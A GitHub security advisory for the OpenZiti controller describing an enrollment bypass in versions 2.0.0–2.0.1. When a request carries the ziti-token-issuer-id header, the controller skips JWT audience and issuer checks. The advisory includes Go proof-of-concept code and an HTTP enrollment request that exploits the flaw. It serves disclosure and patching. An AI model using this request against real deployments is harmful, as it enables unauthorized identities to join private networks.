Skip to content

OpenZiti controller: JWT enrollment via ziti-token-issuer-id header skips audience and issuer validation (cross-audience token enrollment bypass)

Moderate
plorenz published GHSA-4h58-w989-xgg4 Aug 21, 2026

Package

ziti

Affected versions

2.0.0, 2.0.1

Patched versions

2.0.2

Description

Summary
The controller's token-based enrollment endpoint (POST /edge/client/v1/enroll?method=token, handled by EnrollModuleToken) verifies the presented JWT through two different code paths. When the request includes a ziti-token-issuer-id header, verification is delegated to TokenIssuerExtJwt.VerifyToken, which validates only the JWT signature — it does not check the aud (audience) or iss (issuer) claims. The sibling "by inspection" path (used when no issuer-id header is present) does enforce both audience and issuer via TokenIssuerCache.pubKeyLookup.

Because audience is the control that binds a token to this relying party, an attacker who possesses any unexpired JWT signed by a configured external JWT signer's key — including a token the same IdP minted for a completely different application/audience — can present it with the issuer-id header and enroll a brand-new identity onto the zero-trust overlay network.

Details
EnrollModuleToken.verifyToken (controller/model/enrollment_mod_token.go) chooses the verification path purely from an attacker-controlled request header:

func (module *EnrollModuleToken) verifyToken(headers Headers) (...) {
candidateTokens := headers.GetStrings(AuthorizationHeader) // "authorization"
targetTokenIssuerIds := headers.GetStrings(TargetTokenIssuerId) // "ziti-token-issuer-id"
if len(targetTokenIssuerIds) > 0 {
return module.verifyTokenByTokenIssuerId(targetTokenIssuerIds[0], candidateTokens) // (A)
}
return module.verifyTokenIssuerByInspection(candidateTokens) // (B)
}
Path (A) verifyTokenByTokenIssuerId calls tokenIssuer.VerifyToken(candidateToken):

func (r *TokenIssuerExtJwt) VerifyToken(token string) *common.TokenVerificationResult {
r.Resolve(false)
claims := jwt.MapClaims{}
resultToken, err := jwt.ParseWithClaims(token, claims, r.keyFunc) // keyFunc only maps kid->pubkey
...
// no audience check, no issuer-claim check
}
r.keyFunc resolves the public key solely from the kid header and returns the signature-validated result. There is no comparison of the token's aud against r.ExpectedAudience() (the configured signer audience), nor of iss against r.ExpectedIssuer().

Path (B) VerifyTokenByInspection -> pubKeyLookup enforces both:

tokenIssuer := a.GetByIssuerString(issuer) // issuer claim must match a configured signer
...
for _, audience := range audiences {
if audience == tokenIssuer.ExpectedAudience() { audienceFound = true; break }
}
if !audienceFound { return nil, apierror.NewInvalidAuth() } // audience enforced
On success, EnrollModuleToken.Process creates a new Identity (ExternalId = the token's id claim, RoleAttributes = the token's attribute claim, name = the token's name claim) and, for cert enrollment, signs the supplied CSR and issues a network client certificate. The new identity is non-admin, but it is a fully enrolled member of the overlay whose policy membership is driven by the attacker-influenced role-attribute claim.

Preconditions: the deployment must have configured an external JWT signer with enrollToTokenEnabled and/or enrollToCertEnabled (the documented JWT-enrollment feature). The realistic exploit scenario is a signer pointed at a shared corporate IdP (Okta/Auth0/Azure AD/etc.) whose audience is set to the controller — the audience field exists precisely to reject tokens the IdP issued to other applications. This bug nullifies that protection on the header path. It additionally skips the issuer-claim check, so a valid-signature token with a mismatched iss is also accepted.

PoC
Real-code differential (executed against the actual controller model package). A TokenIssuerExtJwt is built from a real db.ExternalJwtSigner (CertPem + Audience: "ziti.controller"), and a JWT is minted with the signer's key but aud: "some-other-relying-party":

signer := &db.ExternalJwtSigner{
Name: "corp-idp", Kid: &kid, CertPem: &certPem, Enabled: true,
Issuer: &iss, Audience: strPtr("ziti.controller"), EnrollToTokenEnabled: true,
}
signer.Id = "issuer-1"
issuerRec := &TokenIssuerExtJwt{externalJwtSigner: signer, kidToPubKey: map[string]common.IssuerPublicKey{}}
issuerRec.Resolve(false)

// token signed by the trusted signer key, but for a DIFFERENT audience:
wrongAudToken := mkToken(key, kid, iss, "some-other-relying-party", "attacker-ext-id")

// HEADER PATH (ziti-token-issuer-id -> VerifyToken):
res := issuerRec.VerifyToken(wrongAudToken)
// res.IsValid() == true <-- ACCEPTED

// INSPECTION PATH (pubKeyLookup) on the SAME token:
_, err := jwt.ParseWithClaims(wrongAudToken, jwt.MapClaims{}, cache.pubKeyLookup)
// err != nil ("token audience does not match expected audience") <-- REJECTED
Output:

HEADER PATH (VerifyToken): WRONG-AUDIENCE token ACCEPTED. sub="attacker-ext-id" aud="some-other-relying-party"
INSPECTION PATH (pubKeyLookup): wrong-aud token correctly REJECTED: token audience does not match expected audience, expected ziti.controller, got [some-other-relying-party]
DIFFERENTIAL CONFIRMED: audience enforced on inspection path, skipped on the ziti-token-issuer-id header path.
Over HTTP this is:

POST /edge/client/v1/enroll?method=token
authorization: Bearer <JWT signed by the configured signer, any aud/iss>
ziti-token-issuer-id:
content-type: application/json

{"clientCsr":""}
which returns a network-issued client certificate for a newly created identity.

Impact
An attacker who can obtain any JWT signed by a configured external JWT signer — notably a token a shared corporate IdP issued for a different audience/relying party — can enroll a new, network-trusted identity into the OpenZiti overlay by supplying the ziti-token-issuer-id header, bypassing the audience (and issuer) binding that the inspection path enforces. This is an enrollment/authentication-boundary bypass yielding unauthorized presence on the zero-trust network with role attributes influenced by the token, undermining the integrity and confidentiality guarantees of the control plane.

Version: 2.0.0

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.